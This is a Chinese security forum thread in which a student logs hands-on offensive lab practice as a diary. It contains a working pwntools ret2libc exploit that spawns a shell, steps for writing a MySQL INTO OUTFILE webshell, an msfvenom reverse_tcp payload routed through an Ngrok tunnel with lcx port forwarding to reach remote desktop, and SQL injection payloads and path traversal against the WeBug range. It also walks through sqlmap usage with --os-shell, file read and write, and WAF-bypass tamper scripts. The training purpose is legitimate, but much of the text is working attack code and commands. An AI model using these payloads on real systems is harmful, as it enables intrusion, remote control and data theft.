安全矩阵

 找回密码
 立即注册
搜索
楼主: gclome

郝恬学习日记

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
 楼主| 发表于 2020-4-14 20:06:51 | 显示全部楼层
本帖最后由 gclome 于 2020-4-14 20:09 编辑

pwn学习--64位绕过地址随机化
0x01 64位与32位的区别
    在此篇文章之前,一直都讨论的是32位的情况,不过现在已经2020年了,64位程序逐渐成为主流。所以研究64位的程序也是非常必要的
   开始之前,我要先理清一个知识点:x86指的是cpu的架构,x64是cpu位数,我们通常用的x64的全称叫x86-64,也就是说x64是x86架构的64位cpu。而之所以用x86代表32位系统,是因为32位cpu占据了很长一段时间,所以习惯性的用x86代表32位cpu,是一种通俗用法罢了,是不严谨甚至有误的。
    区别:
      1.首先是内存地址的范围由32位变成了64位,x64可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。
      2.函数参数的传递方式:x86中参数都是保存在栈上,因为64位程序有了更多的通用寄存器, 所以通常会使用寄存器来进行函数参数传递而不是通过栈, 来获得更高的运行速度。在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数的话才会保存在栈上。

  64位汇编
   当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
   当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。


0x02 一个示例
  1. #include<stdio.h>
  2. #include<string.h>
  3. #include<stdlib.h>

  4. char buf2[10] = "this is buf2";
  5. void vul()
  6. {
  7.         char buf1[10];
  8.         gets(buf1);
  9. }

  10. void main()
  11. {
  12.         write(1,"sinxx",5);
  13.         vul();
  14. }
复制代码
编译(没有-m32,就是编译成64位的):
  1. gcc -no-pie -fno-stack-protector -o 10.exe 10.c
复制代码
可以checksec 10.exe看看,的确编译成了64位的

接下来开始查看溢出点
  1. cyclic 100
  2. cyclic -l aafa
复制代码
这里和32位主要的一个区别是 如何确定这里的aafa,可以看ret后面的地址前四位,由于小端序,反转过来后对应的就是aafa,可是这样看起来比较麻烦,如图我们可以取栈顶的前四位。




接下来我们就要开始写exp

我们还是要先找到gets的真实地址,然后利用相对偏移找到system和“\bin\sh”的地址

我们之前提到x86中参数都是保存在栈上,但在x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和R9寄存器里
如果还有更多的参数的话才会保存在栈上,所以我们需要寻找一些类似于pop rdi; ret的这种gadget
如果是简单的gadgets,我们可以通过objdump来查找
但当我们打算寻找一些复杂的gadgets的时候,还是借助于ROPgadgets来查找寄存器
  1. ROPgadget --binary 10.exe --only "pop|ret"
复制代码


  1. 0x00000000004011db : pop rdi ; ret
  2. 0x00000000004011d9 : pop rsi ; pop r15 ; ret
复制代码

1.发现没有rdx的,不过也没关系,write函数前面两个是关键
2.找到pop rsi;pop r15;ret 我们构造payload时,需要两个值压栈。

  1. from pwn import *
  2. #context(arch="amd64",os="linux",log_level="debug")
  3. p=process("./10.exe")
  4. e=ELF("./10.exe")
  5. addr_write=e.plt["write"]
  6. addr_gets=e.got["gets"]
  7. addr_vul=e.symbols["vul"]
  8. addr_rdi=0x4011db
  9. addr_rsi=0x4011d9

  10. offset=18

  11. #print pidof(p)
  12. pause()

  13. payload1=offset*'a'+p64(addr_rdi)+p64(1)+p64(addr_rsi)+p64(addr_gets)+p64(1)+p64(addr_write)+p64(addr_vul)
  14. p.sendlineafter("sinxx",payload1)

  15. gets_real_addr=u64(p.recv(8))
  16. #gets_real_addr=u64(p.recv()[:8])

  17. #print hex(gets_real_addr)

  18. libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
  19. rva_libc=gets_real_addr-libc.symbols["gets"]
  20. addr_system=rva_libc+libc.symbols["system"]
  21. addr_binsh=rva_libc+libc.search("/bin/sh").next()

  22. payload2=offset*'a'+p64(addr_rdi)+p64(addr_binsh)+p64(addr_system)
  23. p.sendline(payload2)
  24. p.interactive()
复制代码

对exp的理解:
payload1=offset*'a'+p64(addr_rdi)+p64(1)+p64(addr_rsi)+p64(addr_gets)+p64(1)+p64(addr_write)+p64(addr_vul)

x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和R9寄存器里,所以write函数的参数分别放在了rdi,rsi,rdx寄存器里面,
然后使用pop xxx ;ret  使rdi寄存器里的值为1,使rsi寄存器里的值为gets的真实地址,r15寄存的值是1(这不是重点),这里rdi的值没有限制,不过也不影响
然后是call write函数,先将vul函数的地址压栈,然后再去执行write函数,执行完后就可以再次利用vul里面的gets函数溢出,执行payload2。


payload2=offset*'a'+p64(addr_rdi)+p64(addr_binsh)+p64(addr_system)
这个先让/bin/sh的地址到rdi寄存器里里面,system函数调用会需要一个参数,也就是这个rdi,所以payload2就是调用system“/bin/sh”

运行:
我这个运行起来有个很尴尬的场景,可以getshell不过中间出现了好多/x00



file:///C:\Users\asus\AppData\Roaming\Tencent\Users\2594738584\QQ\WinTemp\RichOle\~$TXKFT1S`IGMEXUY_6QV(G.png



0x03 参考文章
https://www.cnblogs.com/wintrysec/p/10493583.html
http://blog.sina.com.cn/s/blog_6053551a0102x5my.html

回复

使用道具 举报

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
 楼主| 发表于 2020-4-19 23:18:40 | 显示全部楼层
今天做了两道pwn题,并且在ctf板块做了笔记,尝试在freebuf上投稿了一篇文章,等待审核当中。。。
回复

使用道具 举报

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
 楼主| 发表于 2020-4-30 20:34:23 | 显示全部楼层
本帖最后由 gclome 于 2020-5-3 21:48 编辑

   mysql写入一句话木马  
一、环境配置
在windows Server 2008下,Apache+mysql 有最新版火绒。

二、实验过程
1.获取mysql数据库的用户名和密码。本例中通过弱口令得到mysql的帐号密码
2.通过相关渠道获取mysql数据库的地址,并访问。
3.使用用户名和密码登陆mysql。

4.获取网站可写目录的绝对路径。本例中的地址为"C:\xampp\htdocs"
5.使用phpmyadmin中的sql语句,写入一句话木马


可以看到这里报错了!INTO OUTFILE 后面的"C:\xampp\htdocs\bypass.php",有的时候需要变成"C:\\xampp\\htdocs\\bypass.php"(对反斜杠做了一次转义)



ok,写入成功!


6.使用蚁剑连接一句话, 上传大马


添加成功,就获取shell!


一般连上之后,我们就可以上传功能更多的大马。




回复

使用道具 举报

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
 楼主| 发表于 2020-5-3 21:45:26 | 显示全部楼层
本帖最后由 gclome 于 2020-5-3 21:49 编辑

最近一直在配置vulfocus的那个环境,从头开始了好几次。皇天不负有心,终于是搞好了!
下面是配置环境时参考的一些链接:

https://www.anquanke.com/post/id/203735
https://www.mzxh.xyz/2020/04/23/vulfocus%E6%9C%AC%E5%9C%B0%E5%8C%96%E9%83%A8%E7%BD%B2/#footer
file:///C:\Users\asus\AppData\Roaming\Tencent\QQ\Temp\%W@GJ$ACOF(TYDYECOKVDYB.pnghttps://ywnz.com/linuxjc/3690.html
file:///C:\Users\asus\AppData\Roaming\Tencent\QQ\Temp\%W@GJ$ACOF(TYDYECOKVDYB.pnghttps://ywnz.com/linuxaz/3696.html

-------------------------------------------------------------------------------------我是分割线--------------------------------------------------------------------------

昨晚老师讲了关于序列化与反序列化的一些知识,有些地方没有听明白,于是先总结一下,方便以后回来看
  
序列化与反序列化漏洞的产生及利用
0x01 序列化与反序列化的概念

     首先我们要了解为什么要序列化,对象是活动的东西,对于分布式部署的来说,new一个新的对象并赋值成本是很高的,在网络之间交互类对象怎么才能实现?因为对象是活动的,所以要把活的对象适合传输和保存并进行流交换,我们就要把它按特定的格式进行序列化,也就是二进制化,这样才能保存下来。那么反序列化刚好是把数据重新动态化成对象,需要强制转化,在内存中直接根据二进制数据恢复对象就是反序列化过程。因为类方法是动态的部分,用来操作类成员变量或者某些参数,知道了类,就知道具体的类方法,所以类方法是不需要保存的,但类成员变量因为可以赋值所以需要保存下来
     因为现代的软件框架是多层的,分布式的,要支持高并发,不一定程序在一台机器上,那么多台机器的类之间如何同步协调处理,对象之间如何同步数据和交换数据呢?
     答案就是将对象序列化成二进制数据传输,然后再通过反序列化解析

序列化:把对象转换为字节序列的过程(把动态的参数固化成数据)
反序列化:把字节序列重新恢复为对象的过程

0x02 漏洞产生的原因
   
     这点我们可以这样来看,反序列化实际上也是一种参数输入的方法,在面向对象的开发中,各种不同的类依靠其方法来实现各种功能,比如操作系统权限的类,操作数据库的类,操作文件的类。类的方法依赖于其参数,而参数依赖于类对象的类成员的值,比如一个操作数据库查询的类,一般都有一个excutesql方法,这个方法的参数可能就是一条sql语句,通常程序员传递给对象的类成员变量都是无害的,但一序列化成数据,就给了我们修改类方法执行参数的可能,其实这个和sql注入是一样的,没有过滤参数,因此反序列化漏洞说到底登记因为序列化使得我们获得一次交互的接口,通过修改参数让类对象被调用的时候类成员函数接受执行不期望的参数。


通过浏览器也好,通过拦截websocket也好,总之,只要有地方能够提交参数,这个参数最终会拼接到序列化字符串中就可以利用,其实这个和sql注入,文件包含等等都一样,就是需要有一个地方送数据进他的程序流程去执行,区别在于面向对象的程序高度依赖序列化反序列化而已,因此大部分这种漏洞都是java里面的,我们可以理解序列化是对象在网络中流动和旅行的一种方法,我们只要有一个地方能够接触并修改序列化的二进制,就有可能利用它


纯面向对象的很多东西首先包装成对象的序列化,然后提交到服务器端进行反序列化

大部分情况不可能在魔术函数里面去写那些功能函数的,通常就是在普通类成员函数,那么我们需要想办法如何让特定类的成员函数被执行,这就是所谓的rop,因为只有特定类成员函数调用才具有利用价值,比如写入文件操作,但关键在于如何使得这个类对象调用这个方法并执行特定的参数。

0x03反序列化的rop链

  怎么让他执行我们想要的类函数和使用特殊的类成员呢?最容易想到的就是让他们在反序列化过程中被程序自动调用,这就是为什么php的那些魔术函数有用的原因,但前提是魔术函数要调用这些函数和参数,一般实际情况是不可能的,通常只在ctf中出现。

(这里就是听不懂的地方了。。)

现代的框架依赖于各种设计模式,设计模式中大量类成员变量都是其它类的对象。
比如,类反射机制。几乎所有的面向对象语言都有,动态加载类并调用类成员函数,这是现代框架ioc,orm和aop的技术的基础(ioc控制对象反转,AOP面向切面编程,orm数据对象持久化机制,这些都是框架里面必须的,正是因为需要用到这些,框架才能灵活的组装生产线,但这也是罪恶的源头)
反射机制:反射机制是动态根据类名创建类,然后可以利用序列化复活某个特定的类对象

再举个例子,设计模式中的工厂模式,其中最重要的一个参数就是工厂类的类名要传进去,这些类都有相同的基类,因此有相同的执行方法,但执行方法其功能完全不一样,只要其中一个工厂类的同名方法能够执行恶意操作,比如写一个字符串到文件保存,那么可能就可以利用了.

因为调用类的其中一个参数就是工厂类对象,比如本意是调用工厂类A的方法,结果我们修改调用类的序列化,把他调用A的地方换成另一个工厂类B的所有参数,这样本意调用A的就会调用B,由于类调用是一层层互相调用的,每一层次都可能有这种同样类同名的方法可能,那么这样我们可以构造一个类调用链条,直到调用到我们需要的函数,构造那个序列化就是rop链,需要一步一步规划各种参数,以便我们能够执行我们想要的类


当然前提是我们要熟悉面向对象的思想和设计模式,多态,重载等等基本概念,这个东西也是windows里面漏洞利用的最高级技术之一
这里的关键在于,每一层的调用移花接木的类必须要有同名方法或者重载方法,这里仅仅举得是工厂类的,反射机制动态装载这种利用就更多,其它设计模式也可能会有,重点审查跟踪文件操作类,数据库操作类和权限管理类,特别是权限管理类,一般所有的用户都有相同基类,和相同方法,以支持一致操作,因为弄不好就非常容易反序列化产生水平和垂直越权。

关于序列化与反序列化漏洞的文章:
序列化和反序列化漏洞的简单理解

      



回复

使用道具 举报

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
 楼主| 发表于 2020-5-5 22:52:51 | 显示全部楼层
本帖最后由 gclome 于 2020-5-6 20:39 编辑

今天和小侯一起对下面这篇文章做了复现!
Metaspolit下配合Ngrok同时实现内网反弹+转发
相信大家在渗透测试时如果遇到内网IP瞬间心情就不好了,因为自己是内网,目标也是内网,怎么勾搭上?而且像我这等穷人又没钱买死贵死贵的vps搭建云Kali,怎么办?这时候就要借助内网穿透工具了,网上很多工具都能实现,这里推荐Ngrok。但是我既想通过Ngrok在metaspolit下反弹shell,同时又想把对方的3389端口转发到本地,在meterperter下鱼和熊掌我都要!


kali:192.168.133.132(做攻击机)
win10:       (受害机器)
中间跳板ngrok :vipgz4.idcfengye.com
工具:lcx windows版与linux版

一、反弹shell到本地

1.首先注册个ngrok并配置好需要转接的端口:80



2.在kali下构造生成反弹木马:
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=free.idcfengye.com LPORT=10955  -f exe --platform win -o test.exe

  2. Lhost:为Ngrok服务地址   
  3. Lport:为Ngrok分配的隧道端口
复制代码


3.在Kali中运行Ngrok的客户端:
  1. ./sunny clientid Ngrok的ID号
复制代码

开始运行说我没有权限,输入 chmod 777 sunny 后,在输入上面那条命令就可以了!



4.Kali攻击机配置监听:
此处的lhost与lport与Ngrok中的配置相同,并开始监听。



5.将生成的木马放到靶机运行(这里我传到了小侯的机器上):



成功得到通过中转反弹过来的shell。
PS:接下就要将对方的端口转发到我们本地了,以3389端口远程桌面为例。由于是通过Ngrok中转反弹到的shell,所以portfwd命令不能将远程桌面直接在metaspolit框架中实现,这里借助lcx继续进行反弹。

二、转发3389端口到本地
1.在Kali中执行lcx监听和转发命令:
  1. ./portmap -m 2 -p1 8848 -p2 33891
复制代码
P1为本地监听的端口(与ngrok转发的端口一致)
P2为本地转发的端口(随便命名,但不能是已被占用的端口)





2.到靶机中执行lcx端口转发,通过meterperter进入shell执行命令:
  1. lcx -slave vipgz4.idcfengye.com 10040 127.0.0.1 3389
复制代码

slave后跟Ngrok服务器地址与隧道端口+本地需要转发的端口



看到ngrok客户端多出回弹的消息


3.开始在Kali中连接远程桌面连接:
  1. rdesktop 127.0.0.1:33891
复制代码









至此我们已经成功连接上了3389远程桌面。由于全程都在一台本地kali环境中操作,且只用了一条Ngrok隧道大大减少了成本。

参考链接:
https://www.freebuf.com/sectool/126967.html
https://blog.csdn.net/God_XiangYu/article/details/99616586
https://www.cnblogs.com/yyxianren/p/11387555.html

回复

使用道具 举报

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
 楼主| 发表于 2020-5-8 20:35:05 | 显示全部楼层
本帖最后由 gclome 于 2020-5-9 19:36 编辑

WeBug--sql注入

前言
今天通过WeBug靶场对sql注入的相关知识进行了回顾,好久没试过,发现有些语句已经记不清楚了!赶紧借此机会试一试
0x01 什么是sql注入?
所谓SQL注入,就是通过把SQL命令插入到 Web表单提交 或 URL 或 页面请求等的查询字符串中,最终达到欺骗服务器执行恶意的SQL命令。
注:从这句话看出常见的注入点在
a. web表单
b. URL链接中
c. 登录框(页面请求查询)

SQL注入漏洞的本质是把用户输入的数据当做代码来执行,违背了“数据与代码分离”的原则。
0x02 sql注入类型

按照执行效果来分类
(1)基于布尔的盲注
即可以根据返回页面判断条件真假的注入。
(2)基于时间的盲注
即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
(3)基于报错注入
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
  • 单引号
  • 双引号
  • 基于数字型注入
(4)联合查询注入
可以使用union的情况下的注入。
(5)堆查询注入
可以同时执行多条语句的执行时的注入。
(6)宽字节注入

按照注入点类型来分类
(1)数字型注入点
许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1  若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where id=1 and 1=1
(2)字符型注入点
网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where name='admin' and 1=1 ' 我们需要将这些烦人的引号给处理掉。
(3)搜索型注入点
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'


按照数据提交的方式来分类

(1)GET 注入
提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。
(2)POST 注入
使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
(3)Cookie 注入
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
(4)HTTP 头部注入
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

0x03 WeBug里的实战
(过程都总结到了我的csdn博客中)

1、显错注入
https://blog.csdn.net/qq_44108455/article/details/106026259
2、布尔注入

布尔注入是盲注之一,进行sql语句注入后,选择的数据并不能返回到前端。只能利用其他方法来判断,还是简单介绍下学到的知识点。

    left(database(),n)    database() 数据库名称 left()函数表示截取数据库左侧n个字符
    substr(a,b,c)      从字符串a的b位置开始截取c个字符,当b为负数时截取位置是从字符串a右端向左数b个字符
    mid(a,b,c)        从字符串a的b位置开始截取c个字符,c为非必需若省略返回剩余文本
    ord()与ascii()      这两个函数都是将字符转化成ascii值
    limit i,n第一个参数:从i开始查 ; 第二个参数:查n条
    有时不报错可能是因为前面语句没错误,使得union后面语句没执行
    IFNULL(exp1,exp2) 如果exp1不为null,返回exp1否则返回exp2
    cast(exp as data_type)as之前是待处理数据,后面是要转换的类型。有时还有要求eg:CAST(‘12.5’ AS decimal(10,2)) 10代表所有数字位数限制为10 ,2表示小数点后两位 故结果为12.50 如果前面type换成int 则运行错误 。另精度和小数位数的默认值分别是18与0,decimal下 浮点数不说明的情况下会出来整数。








回复

使用道具 举报

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
 楼主| 发表于 2020-5-13 22:47:40 | 显示全部楼层
本帖最后由 gclome 于 2020-5-16 20:23 编辑

这几天再试webug靶场上的题目,在博客里有更新,可是日记好久没更了,今天就来记录一下



webug--显错注入

访问靶场:


(1)看到地址有id=1,改变id为2、3分别试一试
id=2


id=3

可以发现,随着id后面数值的改变,红框处的值也随之改变
(2)判断注入点类型,尝试下面语句:
url?id=1)    括号无反应,看来是屏蔽了
url?id=1"    双引号无反应
url?id=1’    单引号有结果


3)判断字段数
id=1' order by 5 %23,利用二分法判断,3、5均报错
(mysql有三种注释方法,1、# … 2、-- … 3、/…/,%23是#的url表示)


1、2均正确,说明字段数是2


测到查询结果为两列,接下来让我们看看我们想要的数据在第几列
  1. url:id=1' union select 1,2 %23
复制代码



说明会回显第二列的内容,那我们可以通过替换第二列的内容去获取数据库的相关信息。
例如:id=3' union select 1,version() %23(获得版本)


(4)获取数据库名

a、获取全部数据库
  1. id=3' union select 1,group_concat(schema_name) from information_schema.schemata
复制代码
(前三个都是mysql自带的数据库,因此我们只需要注意后面的test、webug、webug_sys、webug_width_byte数据库就行)


b、获取当前数据库
  1. id=3' union select 1,database() %23   
复制代码


当前数据库名为webug

(5)查看当前数据库下有哪些表
  1. id=3' union select 1,group_concat(table_name)from information_schema.tables where table_schema='webug' %23
复制代码


列出的表中看到有一个名为flag的表


(6)查看flag表里有几列
  1. id=3' union select 1,group_concat(column_name)from information_schema.columns where table_name='flag' and table_schema='webug' %23
复制代码


(7)查看flag下的内容

  1. id=3' union select 1,flag from flag %23
复制代码


获取到了flag!


webug--布尔注入

访问靶场:


(1)判断注入点
输入id=1’有反应


(2)判断字段数
利用二分法,可以判断出字段数为2
  1. id=1' order by 2 %23
复制代码


(3)爆出当前数据库名
  1. id=1' union select 1,database() %23
复制代码


爆出数据库名为webug


(4)爆出当前数据库下的表

  1. id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='webug'%23
复制代码


发现了一个比较重要的表–flag,猜测flag就在这个表里

(5)查看flag表里的列
  1. id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='webug'%23
复制代码


有两列,分别为id和flag

(6)查看列的内容
查看id内容 :
  1. id=1' union select 1,id from flag %23
复制代码




查看flag内容:
  1. id=1' union select 1,flag from flag %23
复制代码




得到flag为 dfafdasfafdsadfa


webug--延时注入


延时注入介绍
对于基于时间的盲注,通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。

访问链接:和前两关一样。


1、判断注入点
1.加 ’ 发现内容变了



2.加 ’ and 1=1 %23 发现内容没变
3.加 ’ and 1=2 %23 发现内容变了
4.发现注入点 且 并没有报错 不是显错注入


2.通过延时判断是否可以通过延时注入:
1’and if(length(database())>3,sleep(3),1) %23     延时3秒
1’and if(length(database())>10,sleep(3),1) %23     立即刷新
1’and if(length(database())>7,sleep(3),1) %23     立即刷新
1’and if(length(database())=5,sleep(3),1) %23     延时3秒

判断出来可以通过延时注入此注入点,并且数据库的长度为5


3.判断数据库名称:
1’ and if(ascii(substr(database(),1,1))>88,sleep(3),1) %23     延时3秒
1’ and if(ascii(substr(database(),1,1))>120,sleep(3),1) %23     立即刷新
……     ……
1’ and if(ascii(substr(database(),1,1))=199,sleep(3),1) %23     延时3秒
以此类推,发现第一个字母的ascii的值为119 查ascii表发现是w,
等待三秒后页面有变化


为了方便,我们可以采用left函数(依旧是延迟3秒有反应):

然后继续猜取第二个:
  1. id=1'and if(left(database(),2)='we',sleep(3),1)%23
复制代码


一直这样试下去,发现数据库名为webug



4、利用延时注入爆webug下的表的个数
  1. id=1'and if((select count(table_name) from information_schema.tables where table_schema=database())=7,sleep(3),1)%23
复制代码
爆出来webug下有7个表


5、利用延时注入爆出webug下的表名
  1. id=1'and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='d',sleep(3),1)%23
复制代码


猜解出来第一个表的第一个字符是d
依次类推,爆出webug下的表:
data_crud,env_list,env_path,flag,sqlinjection,user,user_test

6、利用延时注入爆env_list表下的列:
  1. ?id=1'and if(left((select column_name from information_schema.columns where table_name='env_list' limit 0,1),1)='i',sleep(3),1)%23
复制代码


env_list的表里有:
id,envName,envDesc,envIntegration,delFlag,envFlag,level,type

7、利用延时注入爆id=3时envFlag内容:
  1. ?id=1'and if(left((select EnvFlag from env_list where id=3),9)='gfdgdfsdg',sleep(3),1)%23
复制代码


ok,爆出flag为gfdgdfsdg





回复

使用道具 举报

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
 楼主| 发表于 2020-6-1 20:02:57 | 显示全部楼层
webug---任意文件下载

15关 任意文件下载

将鼠标放在下载图标,然后右键,复制链接地址
/control/filedownload/file_download.php?file=template/assets/img/1.txt
上面就是文件下载的目录
接下来可以用bp中的spider遍历目录




抓包之后,forward


在target里,选择这个地址,右键Spider this host,在选择yes,就可以查看目录信息


接下来可以选择想下载的文件,然后再浏览器直接访问地址即可!

也可以先去百度自己想要文件的目录,然后访问:



16关 mysql配置文件下载
读取PHPStudy下的mysql数据库配置文件my.cnf
  1. file=template/../../../../etc/mysql/my.cnf
复制代码


方法基本和上一关相同!




回复

使用道具 举报

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
 楼主| 发表于 2020-6-1 20:08:20 | 显示全部楼层
本帖最后由 gclome 于 2020-6-1 20:13 编辑

webug--逻辑漏洞
22关 越权修改密码
首先简单的闭合引号和注释,就可以登陆成功
账号:admin'#       密码:随意



登陆成功之后,进入修改密码的页面


提交之后,弹出 ok 的界面
利用修改好的密码重新登陆成功,说明并没有对旧密码进行检查,我们刚刚只是把admin的密码修改了等等!我们发现了什么


admin这里id=1,我们换成别的数字呢?发现在上面更换是不行的,然后用bp抓包,更改为id=2


另一个账号是aaaaa,使用密码1234登陆成功,说明越权修改密码成功!

23关 支付漏洞
点击去随便选择一个商品购买,反馈如下:


还是刚刚那件衣服,我们用bp抓包,并将price修改为1


于是用1元购买成功

24关 邮箱轰炸
先查看目标机的内存使用情况


注册一个账号,并抓包,可以发现竟然连密码都没有post


接下来send to intruder



设置线程





可以发现,空余内存较之前少了许多。

25关 越权查看admin
用aaaaa登陆,直接将id=2改为id=1,就越权到admin了!(思路是这样,可是我们这个靶场不存在这个php文件)



回复

使用道具 举报

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
 楼主| 发表于 2020-7-9 21:43:20 | 显示全部楼层
本帖最后由 gclome 于 2020-7-10 10:50 编辑

sqlmp笔记
0x01  基础部分
sqlmap简介
当给sqlmap这么一个url的时候,它会:
1、判断可注入的参数
2、判断可以用那种SQL注入技术来注入
3、识别出哪种数据库
4、根据用户选择,读取哪些数据

sqlmap支持五种不同的注入模式:
  • 1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
  • 2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
  • 3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
  • 4、联合查询注入,可以使用union的情况下的注入。
  • 5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

查看是否存在注入

  1. sqlmap -u http://192.168.10.27/sqli-labs-master/Less-1?id=1
复制代码

这里是存在注入的

查询当前用户下的所有数据库
  1. sqlmap -u http://192.168.10.27/sqli-labs-master/Less-1?id=1  --dbs
复制代码
查询出来28个数据库及所有数据库的库名。当继续注入时, --dbs缩写成-D xxxx ,其意思是在xxxx数据库中继续查询其他数据

获取数据库中的表名

  1. sqlmap -u http://192.168.10.27/sqli-labs-master/Less-1?id=1 -D security --tables                  //查看security库下的所有表名
复制代码

看到security库下的有四个表。当继续注入时,--tables缩写成-T,意思是在某表中继续查询

获取表中的字段名
  1. sqlmap -u http://192.168.10.27/sqli-labs-master/Less-1?id=1 -D security -T users --columns
复制代码


users表中共有三个字段,在后续的注入中,--columns缩写成-C


获取字段内容

  1. sqlmap -u http://192.168.10.27/sqli-labs-master/Less-1?id=1 -D security -T users -C username,password --dump
复制代码
file:///C:\Users\asus\AppData\Roaming\Tencent\Users\2594738584\QQ\WinTemp\RichOle\)LMF`AD6IDRQKPYF_)_@G~0.png


获取数据库的所有用户


  1. sqlmap -u http://192.168.10.27/sqli-labs-master/Less-1?id=1  --users
复制代码


获取数据库用户的密码


  1. sqlmap -u http://192.168.10.27/sqli-labs-master/Less-1?id=1 --passwords
复制代码

QL

下面还会问你是否要把这个拷贝到本地的一个文件,可以根据所需进行选择,密码使用MySQL5加密,可以在www.cmd5.com中自行解密

获取当前网站数据库的名称

  1. sqlmap -u http://192.168.10.27/sqli-labs-master/Less-1?id=1 --current-db
复制代码

使用此命令可以列出当前网站使用的数据库,该数据库是security

获取当前网站数据的用户名称
  1. sqlmap -u http://192.168.10.27/sqli-labs-master/Less-1?id=1 --current-user
复制代码


用户是root


0x02、参数部分

--is-dba:当前用户是否为管理权限





返回true



--roles:列出数据库管理员角色



--referer:HTTP Referer头
sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或3以上,会尝试对referer注入,可以使用referer命令来欺骗,eg:--referer http://www.baidu.com


--sql--shell:运行自定义sql语句
  1. sqlmap -u http://192.168.10.27/sqli-labs-master/Less-1?id=1 --sql-shell
复制代码
[img]file:///C:\Users\asus\AppData\Roaming\Tencent\Users\2594738584\QQ\WinTemp\RichOle\[N7ZG)$$$TJMZC}QUY58DLH.png[/img]

退出用exit


--os-cmd ,--os-shell:运行任意操作系统命令

  1. sqlmap -u http://192.168.10.27/sqli-labs-master/Less-1?id=1 --os-shell
复制代码

--os-shell模拟一个真实的shell,输入想执行的命令






--file-read:从数据库服务器中读取文件


  1. sqlmap -u http://192.168.10.27/sqli-labs-master/Less-1?id=1 --file-read "D:/123.txt" -v 1
复制代码
将目标机器的文件下到本机,-v设置观察数据等级,一共七个等级,默认是1


[img]file:///C:\Users\asus\AppData\Roaming\Tencent\Users\2594738584\QQ\WinTemp\RichOle\Y[Z0AXGNI8WXOP5L(]4I12I.png[/img]




--file-write  --file-dest:上传文件到数据库服务器中


  1. sqlmap -u http://192.168.10.27/sqli-labs-master/Less-1?id=1 --file-write "/root/Desttop/info.php" --file-dest"D:test.php"  -v 1
复制代码
这句没有成功!

0x03 sqlmap自带绕过脚本tamper

1.tamper的作用

使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。

部分防护系统的缩写:

    WAF:Web应用程序防火墙,Web Application Firewall

    IPS:入侵防御系统, Intrusion Prevention System

    IDS:入侵检测系统,Intrusion Detection System

2.tamper用法


--tamper=TAMPER 利用给定的脚本进行篡改注入数据。其用法可举例说明:

python sqlmap.py -u "http://.../?uname=admin&pwd=pass123" --level=5 --risk=3 -p "uname" --tamper=xxx.py

